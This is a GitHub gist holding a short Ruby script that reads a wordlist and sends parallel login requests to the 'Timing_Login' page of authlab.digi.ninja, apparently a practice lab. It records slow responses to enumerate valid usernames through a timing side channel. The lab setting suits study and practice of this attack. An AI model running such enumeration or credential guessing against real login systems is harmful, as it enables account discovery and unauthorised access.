Skip to content

Instantly share code, notes, and snippets.

@ugnius-s
Created September 2, 2019 23:40
Show Gist options
  • Save ugnius-s/9d711ffcc198dab09c59821527378903 to your computer and use it in GitHub Desktop.
Save ugnius-s/9d711ffcc198dab09c59821527378903 to your computer and use it in GitHub Desktop.
require 'http'
require 'timeout'
require 'parallel'
uri = "https://authlab.digi.ninja/Timing_Login"
wordlist = File.readlines('wordlist.txt')
Parallel.each(wordlist, in_processes: 10) do |word|
begin
Timeout.timeout(1) do
HTTP.follow(strict: false)
.post(uri, form: { username: word.strip, password: word.strip })
end
rescue Timeout::Error
puts "[!] Timed out with username #{word}"
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment